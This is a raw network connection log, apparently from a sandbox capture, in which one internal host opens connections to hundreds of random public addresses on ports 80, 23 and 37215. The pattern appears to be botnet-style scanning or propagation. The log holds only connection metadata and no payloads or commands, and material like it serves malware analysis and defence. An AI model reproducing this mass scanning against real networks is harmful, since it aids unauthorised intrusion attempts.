Dec 3, 2024 23:16:47.559494972 CET	53746	80	192.168.2.23	97.51.40.235
Dec 3, 2024 23:16:47.559501886 CET	34004	80	192.168.2.23	18.139.163.251
Dec 3, 2024 23:16:47.559514046 CET	51250	80	192.168.2.23	44.211.149.217
Dec 3, 2024 23:16:47.559514999 CET	44864	80	192.168.2.23	80.188.51.51
Dec 3, 2024 23:16:47.559521914 CET	59234	80	192.168.2.23	71.91.163.191
Dec 3, 2024 23:16:47.559530020 CET	45386	80	192.168.2.23	32.45.19.229
Dec 3, 2024 23:16:47.559534073 CET	33158	80	192.168.2.23	208.200.14.37
Dec 3, 2024 23:16:47.559536934 CET	60954	80	192.168.2.23	222.233.128.11
Dec 3, 2024 23:16:47.559547901 CET	42690	80	192.168.2.23	106.94.26.104
Dec 3, 2024 23:16:47.559559107 CET	52704	80	192.168.2.23	95.50.159.174
Dec 3, 2024 23:16:47.559562922 CET	41426	80	192.168.2.23	143.205.153.136
Dec 3, 2024 23:16:47.559565067 CET	44718	80	192.168.2.23	54.144.70.177
Dec 3, 2024 23:16:47.559570074 CET	46998	80	192.168.2.23	105.149.56.62
Dec 3, 2024 23:16:47.559570074 CET	57814	80	192.168.2.23	193.224.144.231
Dec 3, 2024 23:16:47.559572935 CET	35726	80	192.168.2.23	34.22.74.80
Dec 3, 2024 23:16:47.559580088 CET	48178	80	192.168.2.23	59.13.45.51
Dec 3, 2024 23:16:47.559593916 CET	41508	80	192.168.2.23	108.46.44.167
Dec 3, 2024 23:16:47.559602976 CET	44074	80	192.168.2.23	129.38.201.236
Dec 3, 2024 23:16:47.559606075 CET	54654	80	192.168.2.23	178.75.233.22
Dec 3, 2024 23:16:47.559606075 CET	60176	80	192.168.2.23	193.122.47.40
Dec 3, 2024 23:16:47.559607029 CET	33980	80	192.168.2.23	38.1.171.9
Dec 3, 2024 23:16:47.559607029 CET	49472	80	192.168.2.23	152.63.102.106
Dec 3, 2024 23:16:47.559612989 CET	33120	80	192.168.2.23	161.242.14.38
Dec 3, 2024 23:16:47.559612989 CET	41256	80	192.168.2.23	44.228.173.109
Dec 3, 2024 23:16:47.559824944 CET	57618	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:47.563479900 CET	36766	23	192.168.2.23	86.71.86.232
Dec 3, 2024 23:16:47.563479900 CET	42898	23	192.168.2.23	93.130.183.12
Dec 3, 2024 23:16:47.563481092 CET	36508	23	192.168.2.23	25.98.126.63
Dec 3, 2024 23:16:47.563486099 CET	52532	23	192.168.2.23	191.103.34.9
Dec 3, 2024 23:16:47.563487053 CET	59664	23	192.168.2.23	163.81.23.79
Dec 3, 2024 23:16:47.563493013 CET	37112	23	192.168.2.23	14.3.188.11
Dec 3, 2024 23:16:47.563493013 CET	59158	23	192.168.2.23	129.96.32.114
Dec 3, 2024 23:16:47.563500881 CET	53484	23	192.168.2.23	199.216.131.248
Dec 3, 2024 23:16:47.563500881 CET	54410	23	192.168.2.23	193.234.170.22
Dec 3, 2024 23:16:47.563500881 CET	56204	23	192.168.2.23	4.185.189.239
Dec 3, 2024 23:16:47.563504934 CET	52686	23	192.168.2.23	212.140.111.119
Dec 3, 2024 23:16:47.563504934 CET	46370	23	192.168.2.23	178.31.253.80
Dec 3, 2024 23:16:47.563509941 CET	45468	23	192.168.2.23	183.133.122.5
Dec 3, 2024 23:16:47.563510895 CET	49316	23	192.168.2.23	53.69.255.214
Dec 3, 2024 23:16:47.563510895 CET	59588	23	192.168.2.23	20.206.54.166
Dec 3, 2024 23:16:47.563514948 CET	57358	23	192.168.2.23	65.86.58.226
Dec 3, 2024 23:16:47.563515902 CET	57162	23	192.168.2.23	131.79.78.52
Dec 3, 2024 23:16:47.563515902 CET	35562	23	192.168.2.23	113.40.76.240
Dec 3, 2024 23:16:47.563527107 CET	51244	23	192.168.2.23	77.112.247.243
Dec 3, 2024 23:16:47.563536882 CET	55016	23	192.168.2.23	206.181.41.37
Dec 3, 2024 23:16:47.563536882 CET	59616	23	192.168.2.23	189.231.50.87
Dec 3, 2024 23:16:47.563536882 CET	52624	23	192.168.2.23	4.181.235.234
Dec 3, 2024 23:16:47.563536882 CET	35058	23	192.168.2.23	64.16.22.181
Dec 3, 2024 23:16:47.563536882 CET	37590	23	192.168.2.23	205.114.36.151
Dec 3, 2024 23:16:47.563539028 CET	55460	23	192.168.2.23	23.191.150.65
Dec 3, 2024 23:16:47.587299109 CET	80	43422	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:47.587342978 CET	23	56276	108.129.32.48	192.168.2.23
Dec 3, 2024 23:16:47.587366104 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.587373018 CET	56276	23	192.168.2.23	108.129.32.48
Dec 3, 2024 23:16:47.587385893 CET	80	56630	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:47.587439060 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.587572098 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.587572098 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.587907076 CET	44152	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.588342905 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.588352919 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.588646889 CET	57358	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.591479063 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.591483116 CET	41558	80	192.168.2.23	85.163.131.12
Dec 3, 2024 23:16:47.591492891 CET	51166	80	192.168.2.23	204.218.0.140
Dec 3, 2024 23:16:47.591495037 CET	33266	80	192.168.2.23	126.35.94.75
Dec 3, 2024 23:16:47.591495037 CET	49694	80	192.168.2.23	34.90.54.132
Dec 3, 2024 23:16:47.591500998 CET	51320	80	192.168.2.23	60.15.139.86
Dec 3, 2024 23:16:47.591516018 CET	58428	80	192.168.2.23	101.68.185.16
Dec 3, 2024 23:16:47.591517925 CET	52960	80	192.168.2.23	50.245.104.160
Dec 3, 2024 23:16:47.591521025 CET	45706	80	192.168.2.23	58.228.81.46
Dec 3, 2024 23:16:47.591521025 CET	46414	80	192.168.2.23	112.188.51.121
Dec 3, 2024 23:16:47.591526031 CET	38888	80	192.168.2.23	70.138.159.44
Dec 3, 2024 23:16:47.591531992 CET	46000	80	192.168.2.23	64.82.106.98
Dec 3, 2024 23:16:47.591541052 CET	39816	80	192.168.2.23	121.164.6.176
Dec 3, 2024 23:16:47.591547012 CET	59162	80	192.168.2.23	103.244.79.177
Dec 3, 2024 23:16:47.591552973 CET	33900	80	192.168.2.23	207.135.6.37
Dec 3, 2024 23:16:47.591556072 CET	41490	80	192.168.2.23	73.196.74.209
Dec 3, 2024 23:16:47.591562986 CET	38652	80	192.168.2.23	45.39.109.222
Dec 3, 2024 23:16:47.591572046 CET	52496	80	192.168.2.23	143.138.13.8
Dec 3, 2024 23:16:47.591578960 CET	40228	80	192.168.2.23	202.203.78.114
Dec 3, 2024 23:16:47.591583014 CET	43710	80	192.168.2.23	130.155.47.138
Dec 3, 2024 23:16:47.591584921 CET	48582	80	192.168.2.23	219.170.234.215
Dec 3, 2024 23:16:47.591593981 CET	33612	80	192.168.2.23	189.203.214.3
Dec 3, 2024 23:16:47.591598988 CET	58894	80	192.168.2.23	110.113.201.74
Dec 3, 2024 23:16:47.591598988 CET	53680	80	192.168.2.23	23.135.8.215
Dec 3, 2024 23:16:47.591603041 CET	56088	80	192.168.2.23	199.15.225.119
Dec 3, 2024 23:16:47.591612101 CET	54846	80	192.168.2.23	102.234.97.48
Dec 3, 2024 23:16:47.591622114 CET	57044	80	192.168.2.23	173.23.145.10
Dec 3, 2024 23:16:47.591623068 CET	41152	80	192.168.2.23	64.16.94.165
Dec 3, 2024 23:16:47.591629982 CET	37124	80	192.168.2.23	81.164.150.116
Dec 3, 2024 23:16:47.591640949 CET	34756	80	192.168.2.23	222.71.135.85
Dec 3, 2024 23:16:47.591644049 CET	39400	80	192.168.2.23	136.179.12.56
Dec 3, 2024 23:16:47.591649055 CET	47606	80	192.168.2.23	25.18.252.35
Dec 3, 2024 23:16:47.591655970 CET	47404	80	192.168.2.23	87.129.157.10
Dec 3, 2024 23:16:47.591655970 CET	41884	80	192.168.2.23	95.138.108.54
Dec 3, 2024 23:16:47.591672897 CET	43210	80	192.168.2.23	48.150.20.158
Dec 3, 2024 23:16:47.591677904 CET	58478	80	192.168.2.23	39.118.28.227
Dec 3, 2024 23:16:47.591681957 CET	59626	80	192.168.2.23	79.12.171.213
Dec 3, 2024 23:16:47.591681957 CET	36124	80	192.168.2.23	206.168.125.242
Dec 3, 2024 23:16:47.591681957 CET	45758	80	192.168.2.23	85.27.222.194
Dec 3, 2024 23:16:47.591685057 CET	55908	80	192.168.2.23	133.247.230.242
Dec 3, 2024 23:16:47.591686010 CET	54690	80	192.168.2.23	46.181.81.201
Dec 3, 2024 23:16:47.591692924 CET	35272	80	192.168.2.23	48.197.167.130
Dec 3, 2024 23:16:47.591707945 CET	40970	80	192.168.2.23	137.80.81.34
Dec 3, 2024 23:16:47.591710091 CET	41280	80	192.168.2.23	53.122.214.18
Dec 3, 2024 23:16:47.591710091 CET	43770	80	192.168.2.23	193.67.47.190
Dec 3, 2024 23:16:47.591715097 CET	55910	80	192.168.2.23	167.180.32.9
Dec 3, 2024 23:16:47.619344950 CET	80	44250	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:47.619395018 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.619411945 CET	80	39812	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:47.619421959 CET	80	57190	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:47.619453907 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.619467974 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:47.619507074 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.619518042 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.619848967 CET	44912	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.620258093 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.620268106 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.620543957 CET	40482	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.620898008 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:47.620909929 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:47.621202946 CET	57858	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:47.623476982 CET	51204	80	192.168.2.23	185.206.161.158
Dec 3, 2024 23:16:47.623480082 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.623480082 CET	49304	80	192.168.2.23	139.129.32.84
Dec 3, 2024 23:16:47.623482943 CET	42350	80	192.168.2.23	32.107.59.208
Dec 3, 2024 23:16:47.623482943 CET	40372	80	192.168.2.23	179.19.37.239
Dec 3, 2024 23:16:47.623502970 CET	49906	80	192.168.2.23	170.20.164.114
Dec 3, 2024 23:16:47.623502970 CET	50972	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:47.623503923 CET	60614	80	192.168.2.23	18.113.209.141
Dec 3, 2024 23:16:47.623506069 CET	40158	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:47.623506069 CET	54902	80	192.168.2.23	191.78.224.101
Dec 3, 2024 23:16:47.623506069 CET	34828	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:47.623513937 CET	47862	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:47.623519897 CET	55006	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:47.623524904 CET	38474	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:47.647778988 CET	23	40602	173.162.24.69	192.168.2.23
Dec 3, 2024 23:16:47.647799969 CET	23	40602	107.92.204.54	192.168.2.23
Dec 3, 2024 23:16:47.647809029 CET	23	40602	35.28.41.109	192.168.2.23
Dec 3, 2024 23:16:47.647838116 CET	40602	23	192.168.2.23	173.162.24.69
Dec 3, 2024 23:16:47.647838116 CET	40602	23	192.168.2.23	107.92.204.54
Dec 3, 2024 23:16:47.647852898 CET	40602	23	192.168.2.23	35.28.41.109
Dec 3, 2024 23:16:47.655481100 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:47.682380915 CET	37215	33594	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.682456970 CET	33594	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.682593107 CET	33594	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.682593107 CET	33594	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.682998896 CET	33616	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.683159113 CET	37215	55264	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.683201075 CET	55264	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.683480978 CET	55264	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.683499098 CET	55264	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.683654070 CET	37215	58794	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.683703899 CET	58794	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.683799982 CET	55286	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.684166908 CET	58794	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.684181929 CET	58794	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.684425116 CET	58816	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.685242891 CET	37215	57276	156.124.55.110	192.168.2.23
Dec 3, 2024 23:16:47.687203884 CET	23	36766	86.71.86.232	192.168.2.23
Dec 3, 2024 23:16:47.687247992 CET	36766	23	192.168.2.23	86.71.86.232
Dec 3, 2024 23:16:47.687571049 CET	52406	23	192.168.2.23	173.162.24.69
Dec 3, 2024 23:16:47.688138962 CET	55020	23	192.168.2.23	107.92.204.54
Dec 3, 2024 23:16:47.688669920 CET	59420	23	192.168.2.23	35.28.41.109
Dec 3, 2024 23:16:47.711282015 CET	80	43422	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:47.711561918 CET	80	44152	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:47.711613894 CET	44152	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.711663961 CET	44152	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.711940050 CET	80	56630	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:47.712307930 CET	80	57358	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:47.712353945 CET	57358	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.712384939 CET	57358	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.715162992 CET	80	59074	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:47.715223074 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.715289116 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.715298891 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.715610027 CET	59672	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.723826885 CET	37215	57276	156.124.55.110	192.168.2.23
Dec 3, 2024 23:16:47.743238926 CET	80	44250	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:47.743469000 CET	80	44912	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:47.743527889 CET	44912	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.743608952 CET	44912	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.743892908 CET	80	39812	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:47.744227886 CET	80	40482	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:47.744266033 CET	40482	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.744307041 CET	40482	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.744493008 CET	80	57190	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:47.747140884 CET	80	53122	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:47.747185946 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.747268915 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.747292042 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.747613907 CET	53620	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:47.751830101 CET	80	43422	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:47.759902954 CET	80	56630	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:47.779148102 CET	80	44818	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:47.779328108 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:47.779608011 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:47.786679983 CET	80	44250	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:47.790385962 CET	80	39812	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:47.790396929 CET	80	57190	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:47.808886051 CET	37215	33594	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.809328079 CET	37215	33616	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.809371948 CET	33616	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.809417963 CET	33616	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.809859037 CET	37215	55264	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.810153008 CET	37215	55286	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.810193062 CET	55286	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.810209036 CET	55286	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.810650110 CET	37215	58794	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.810658932 CET	37215	58816	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.810693979 CET	58816	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.810705900 CET	58816	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.813911915 CET	23	52406	173.162.24.69	192.168.2.23
Dec 3, 2024 23:16:47.813952923 CET	52406	23	192.168.2.23	173.162.24.69
Dec 3, 2024 23:16:47.814533949 CET	23	55020	107.92.204.54	192.168.2.23
Dec 3, 2024 23:16:47.814583063 CET	55020	23	192.168.2.23	107.92.204.54
Dec 3, 2024 23:16:47.838330984 CET	80	44152	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:47.838382006 CET	44152	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.838902950 CET	80	57358	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:47.838942051 CET	57358	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.841568947 CET	80	59074	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:47.842020988 CET	80	59672	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:47.842061996 CET	59672	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.842104912 CET	59672	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:47.842132092 CET	40596	80	192.168.2.23	137.96.172.137
Dec 3, 2024 23:16:47.842147112 CET	40596	80	192.168.2.23	158.229.16.172
Dec 3, 2024 23:16:47.842163086 CET	40596	80	192.168.2.23	65.196.231.131
Dec 3, 2024 23:16:47.842170000 CET	40596	80	192.168.2.23	80.213.14.165
Dec 3, 2024 23:16:47.842183113 CET	40596	80	192.168.2.23	149.214.222.91
Dec 3, 2024 23:16:47.842196941 CET	40596	80	192.168.2.23	131.115.153.201
Dec 3, 2024 23:16:47.842211008 CET	40596	80	192.168.2.23	14.201.184.218
Dec 3, 2024 23:16:47.842221975 CET	40596	80	192.168.2.23	134.104.83.77
Dec 3, 2024 23:16:47.842235088 CET	40596	80	192.168.2.23	41.76.192.116
Dec 3, 2024 23:16:47.842247009 CET	40596	80	192.168.2.23	154.175.128.164
Dec 3, 2024 23:16:47.842295885 CET	40596	80	192.168.2.23	112.198.79.120
Dec 3, 2024 23:16:47.842295885 CET	40596	80	192.168.2.23	199.96.168.179
Dec 3, 2024 23:16:47.842295885 CET	40596	80	192.168.2.23	64.184.219.41
Dec 3, 2024 23:16:47.842295885 CET	40596	80	192.168.2.23	150.229.75.229
Dec 3, 2024 23:16:47.842299938 CET	40596	80	192.168.2.23	135.160.120.71
Dec 3, 2024 23:16:47.842333078 CET	40596	80	192.168.2.23	54.252.163.16
Dec 3, 2024 23:16:47.842334986 CET	40596	80	192.168.2.23	65.11.18.54
Dec 3, 2024 23:16:47.842336893 CET	40596	80	192.168.2.23	32.187.252.68
Dec 3, 2024 23:16:47.842336893 CET	40596	80	192.168.2.23	8.191.241.185
Dec 3, 2024 23:16:47.842338085 CET	40596	80	192.168.2.23	113.20.238.197
Dec 3, 2024 23:16:47.842336893 CET	40596	80	192.168.2.23	153.239.64.163
Dec 3, 2024 23:16:47.842339039 CET	40596	80	192.168.2.23	157.21.175.68
Dec 3, 2024 23:16:47.842384100 CET	40596	80	192.168.2.23	168.85.129.77
Dec 3, 2024 23:16:47.842384100 CET	40596	80	192.168.2.23	92.174.44.167
Dec 3, 2024 23:16:47.842384100 CET	40596	80	192.168.2.23	117.86.35.88
Dec 3, 2024 23:16:47.842384100 CET	40596	80	192.168.2.23	12.135.169.83
Dec 3, 2024 23:16:47.842386007 CET	40596	80	192.168.2.23	130.158.226.217
Dec 3, 2024 23:16:47.842386007 CET	40596	80	192.168.2.23	98.96.24.223
Dec 3, 2024 23:16:47.842386007 CET	40596	80	192.168.2.23	206.124.110.171
Dec 3, 2024 23:16:47.842387915 CET	40596	80	192.168.2.23	41.193.112.246
Dec 3, 2024 23:16:47.842390060 CET	40596	80	192.168.2.23	31.50.146.94
Dec 3, 2024 23:16:47.842390060 CET	40596	80	192.168.2.23	75.40.209.246
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	210.14.104.34
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	120.150.0.222
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	217.179.139.121
Dec 3, 2024 23:16:47.842391968 CET	40596	80	192.168.2.23	2.142.238.227
Dec 3, 2024 23:16:47.842391968 CET	40596	80	192.168.2.23	86.6.4.6
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	70.248.248.112
Dec 3, 2024 23:16:47.842391968 CET	40596	80	192.168.2.23	149.12.91.125
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	67.151.132.66
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	42.176.95.94
Dec 3, 2024 23:16:47.842391014 CET	40596	80	192.168.2.23	96.139.33.192
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	31.253.31.54
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	13.134.93.107
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	148.178.154.114
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	66.130.210.166
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	173.218.210.185
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	32.36.56.231
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	218.193.229.68
Dec 3, 2024 23:16:47.842470884 CET	40596	80	192.168.2.23	110.45.167.17
Dec 3, 2024 23:16:47.842474937 CET	40596	80	192.168.2.23	192.91.17.102
Dec 3, 2024 23:16:47.842474937 CET	40596	80	192.168.2.23	94.137.206.23
Dec 3, 2024 23:16:47.842474937 CET	40596	80	192.168.2.23	110.8.51.134
Dec 3, 2024 23:16:47.842478037 CET	40596	80	192.168.2.23	217.163.156.232
Dec 3, 2024 23:16:47.842478037 CET	40596	80	192.168.2.23	182.142.116.175
Dec 3, 2024 23:16:47.842478037 CET	40596	80	192.168.2.23	186.117.124.163
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	72.51.29.87
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	62.92.41.143
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	201.153.137.50
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	169.156.109.161
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	205.220.118.128
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	166.63.195.253
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	167.227.107.40
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	180.21.242.58
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	169.23.60.241
Dec 3, 2024 23:16:47.842480898 CET	40596	80	192.168.2.23	76.102.27.174
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	201.49.21.198
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	221.153.32.139
Dec 3, 2024 23:16:47.842479944 CET	40596	80	192.168.2.23	207.221.110.163
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	53.46.220.50
Dec 3, 2024 23:16:47.842480898 CET	40596	80	192.168.2.23	178.47.159.211
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	50.20.203.116
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	172.174.162.99
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	53.101.83.203
Dec 3, 2024 23:16:47.842483044 CET	40596	80	192.168.2.23	171.196.222.108
Dec 3, 2024 23:16:47.842488050 CET	40596	80	192.168.2.23	103.155.148.34
Dec 3, 2024 23:16:47.842488050 CET	40596	80	192.168.2.23	93.211.159.183
Dec 3, 2024 23:16:47.842488050 CET	40596	80	192.168.2.23	221.35.28.110
Dec 3, 2024 23:16:47.842488050 CET	40596	80	192.168.2.23	148.88.103.106
Dec 3, 2024 23:16:47.842488050 CET	40596	80	192.168.2.23	209.50.185.189
Dec 3, 2024 23:16:47.842492104 CET	40596	80	192.168.2.23	98.150.252.88
Dec 3, 2024 23:16:47.842492104 CET	40596	80	192.168.2.23	116.29.218.84
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	163.245.32.51
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	58.127.141.69
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	172.122.184.143
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	64.3.236.122
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	13.190.150.145
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	73.191.4.171
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	147.3.71.135
Dec 3, 2024 23:16:47.842582941 CET	40596	80	192.168.2.23	87.224.38.175
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	200.153.142.51
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	154.199.42.159
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	79.208.22.99
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	94.228.218.205
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	54.175.179.55
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	37.208.135.21
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	198.206.103.20
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	173.163.173.111
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	35.153.170.10
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	13.90.205.86
Dec 3, 2024 23:16:47.842588902 CET	40596	80	192.168.2.23	53.115.91.226
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	5.51.54.117
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	20.232.96.186
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	191.53.166.60
Dec 3, 2024 23:16:47.842588902 CET	40596	80	192.168.2.23	81.177.207.12
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	107.105.134.165
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	69.46.115.183
Dec 3, 2024 23:16:47.842588902 CET	40596	80	192.168.2.23	139.11.126.146
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	105.142.43.94
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	89.246.96.208
Dec 3, 2024 23:16:47.842595100 CET	40596	80	192.168.2.23	61.160.18.33
Dec 3, 2024 23:16:47.842586994 CET	40596	80	192.168.2.23	149.22.222.61
Dec 3, 2024 23:16:47.842585087 CET	40596	80	192.168.2.23	205.120.207.147
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	100.220.22.54
Dec 3, 2024 23:16:47.842586040 CET	40596	80	192.168.2.23	66.180.103.130
